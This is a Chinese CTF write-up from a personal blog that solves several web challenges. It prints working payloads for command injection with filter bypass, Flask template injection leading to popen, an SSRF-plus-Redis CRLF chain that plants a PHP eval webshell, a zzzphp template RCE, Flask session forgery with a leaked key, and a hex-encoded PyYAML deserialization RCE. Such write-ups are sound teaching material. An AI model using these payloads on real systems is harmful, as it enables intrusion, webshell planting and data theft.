签到题,过滤了如下:
base64+%09绕一下过滤,因为匹配大小写,所以可能会出现这种情况:
稍微加点空格什么的修修改改就行了,payload:
?url=|echo%09"Y2FcdCAvZXRjLy5maW5kZmxhZy8q"|base64%09-d|ba\s\h
通过各种让他报错拿到一份大概的源码:
可以看到这里用了render_template_string这个函数,存在模板注入的可能。
注意guess这里用了float强转型,会发现有一个inf可以使用,但却直接在elseif被pass了,多次测试我们无论输入什么都会在大概第40-50之间被猜中,想着会不会存在某个类似于php中的NAN,遂随手试试发现确实如此于是num=nan,此时我们就能够在猜数游戏中赢过机器人了,然后再在,cookie中的user处输入:
e3tjb25maWd9fQ==
//{{config}}
直接可以模板注入了,直接payload打不通,因为有回显,所以慢慢测试发现过滤了eval,过滤了request,测试引号bypass关键字,直接可以绕过了,最后构造popen命令执行,得知flag位于/super_secret_flag.txt
,直接读:
{{url_for.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('cat /super_secret_fl''ag.txt').read()")}}
上来直接给源码:
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);
function safe_url($url,$safe) {
$parsed = parse_url($url);
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){
echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;
return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}
if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;
return false;
}else{
return $url;
}
}
function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}
highlight_file(__FILE__);
curl($_GET['url']);
发现是gactf2020的sssrfme,前面的bypass是parse_url的解析漏洞,如下可以绕过port和host的过滤:
?url=http://root@127.0.0.1:5000@baidu.com
提示:
hello,world
hint: 这是个套娃. http://localhost:5000/?url=https://baidu.com
于是有:
?url=http://root@127.0.0.1:5000@baidu.com?url=https://127.0.0.1:6379
进行端口探测,得知6379端口开放,打到服务器上发现确实如原题一样存在python的url库,存在crlf头部注入;不过原题是主从复制rce,遂在这上面做了颇多动作,但发现无论怎么搞我vps上的redis-rogue总会在连上的几秒内断开,并且貌似exp.so也没发过去,for example:
到这一步就断开了,不清楚是不是有密码,因为貌似密码错误slaveof命令依旧会打到我的vps上面;后面发现权限是够的,可以直接config写webshell。
用脚本获取payload:
import urllib
import requests
import os
payload =\
"""auth 123456
set A "<?php @eval($_POST[1])?>"
config set dir /var/www/html
config set dbfilename hack1.php
save
padding
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
print(new)
payload再次编码,因为redis以空格为分割,所以php代码需要引号括起来,payload前方加上%0d%0a的url编码,得到最后payload:
?url=http://root:root@127.0.0.1:5000@baidu.com/?url=http://127.0.0.1:6379?%250D%250Aauth%2520123456%250D%250Aset%2520A%2520%2520%2522%253C%253Fphp%2520%2540eval%2528%2524_POST%255B1%255D%2529%253F%253E%2522%250D%250A%250D%250A%250D%250A%250D%250Aconfig%2520set%2520dir%2520%2Fvar%2Fwww%2Fhtml%250D%250Aconfig%2520set%2520dbfilename%2520hack1.php%250D%250Asave%250D%250Apadding%250D%250A
flag在根目录下。
dasctf原题,show处有个文件包含,在我们上传处测试发现存在目录穿越,我们上传后会得到一个cookie:
cookie解码后会得到路径什么的东西:
测试发现上传后会覆盖掉我们的flag,无法像dasctf原题一样直接包含获取flag,但我们可以通过重新开启一个容器,此时我们会发现直接替换cookie不行,需要先上传一个随意的图片然后再替换cookie,此时就能够得到flag。
漏洞均在https://xz.aliyun.com/t/7414可以找到。
后台地址泄露:
plugins\webuploader\js\webconfig.php
可以得知是admin539,前台注入
https://github.com/h4ckdepy/zzzphp/issues/1
后台密码是fuzzy9inve。
登陆后台后直接修改模板即可getshell:
{if:1=1);echo `cat /fla*`;//}{end if}
上传后可以下载yaml,尝试目录遍历下载得源码:
from flask import Flask, render_template, request, flash, redirect, send_file,session
import os
import re
from hashlib import md5
import yaml
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = os.path.join(os.curdir, "uploads")
app.config['SECRET_KEY'] = 'Th1s_is_A_Sup333er_s1cret_k1yyyyy'
ALLOWED_EXTENSIONS = {'yaml','yml'}
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower()
@app.route("/")
def index():
session['priviledge'] = 'guest'
return render_template("home.html")
@app.route("/upload", methods=["POST"])
def upload():
file = request.files["file"]
if file.filename == '':
flash('No selected file')
return redirect("/")
elif not (allowed_file(file.filename) in ALLOWED_EXTENSIONS):
flash('Please upload yaml/yml only.')
return redirect("/")
else:
dirname = md5(request.remote_addr.encode()).hexdigest()
filename = file.filename
session['filename'] = filename
upload_directory = os.path.join(app.config['UPLOAD_FOLDER'], dirname)
if not os.path.exists(upload_directory):
os.mkdir(upload_directory)
upload_path = os.path.join(app.config['UPLOAD_FOLDER'], dirname, filename)
file.save(upload_path)
return render_template("uploaded.html",path = os.path.join(dirname, filename))
@app.route("/uploads/<path:path>")
def uploads(path):
return send_file(os.path.join(app.config['UPLOAD_FOLDER'], path))
@app.route("/view")
def view():
dirname = md5(request.remote_addr.encode()).hexdigest()
realpath = os.path.join(app.config['UPLOAD_FOLDER'], dirname,session['filename']).replace('..','')
if session['priviledge'] =='elite' and os.path.isfile(realpath):
try:
with open(realpath,'rb') as f:
data = f.read()
if not re.fullmatch(b"^[ -\-/-\]a-}\n]*$",data, flags=re.MULTILINE):
info = {'user': 'elite-user'}
flash('Sth weird...')
else:
info = yaml.load(data)
if info['user'] == 'Administrator':
flash('Welcome admin!')
else:
raise ()
except:
info = {'user': 'elite-user'}
else:
info = {'user': 'guest'}
return render_template("view.html",user = info['user'])
if __name__ == "__main__":
app.run('0.0.0.0',port=8888,threaded=True)
可以看到session中有priviledge跟filename,我们伪造session后当priviledge为elite时就会触发yaml.load
,在PyYAML中的load存在着反序列化漏洞。
先伪造cookie,因为我们得到密钥,所以伪造很简单。
python3 flask_session_cookie_manager3.py encode -s "Th1s_is_A_Sup333er_s1cret_k1yyyyy" -t "{'filename':'a.yaml','priviledge':'elite'}"
但这里有一个正则,google一下pyyaml bypass ctf
即可得到一场uiuctf中使用16进制绕过。
__import__('os').system('/readflag > ./uploads/4e5b09b2149f7619cca155c8bd6d8ee5/flag
转16进制
\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x66\x6c\x61\x67
最终payload
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x2f\x72\x65\x61\x64\x66\x6c\x61\x67\x20\x3e\x20\x2e\x2f\x75\x70\x6c\x6f\x61\x64\x73\x2f\x34\x65\x35\x62\x30\x39\x62\x32\x31\x34\x39\x66\x37\x36\x31\x39\x63\x63\x61\x31\x35\x35\x63\x38\x62\x64\x36\x64\x38\x65\x65\x35\x2f\x66\x6c\x61\x67"
把flag写到上传路径下再下载即可。
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/